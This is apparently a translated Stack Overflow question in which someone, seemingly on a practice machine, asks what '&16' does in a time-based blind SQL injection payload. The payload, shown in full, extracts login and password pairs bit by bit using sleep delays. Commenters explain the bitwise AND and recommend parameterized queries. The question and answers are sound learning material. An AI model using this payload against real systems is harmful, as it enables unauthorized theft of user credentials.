【发布时间】:2021-12-12 16:05:17
【问题描述】:
我有这个MySQL查询,唯一看不懂的就是这部分&16
if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)
我正在尝试解决我有盲 SQL 注入的机器:
这是查找登录名和密码的整个有效负载,逐个字符:
hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1
实现 16 值的代码由 {2**bit} 完成 位值范围为 0 到 7
【问题讨论】:
-
&是按位与运算符。 dev.mysql.com/doc/refman/8.0/en/… -
这是一个练习还是在实时服务器上?如果是这样,请使用参数化查询并且不要存储纯文本密码
-
您的日志中是否有类似的查询,其中
substring(..., 2, 1)部分不同? -
@SalmanA 是的!当程序找到该字母时,它会移动到下一个字母。例如:假设登录名是 admin。当他找到字母 a 时,他会更改为第二个字母,依此类推。所以它开始:
substring(..., 1, 1)然后substring(..., 2, 1),等等。
标签: mysql sql sql-injection bitwise-operators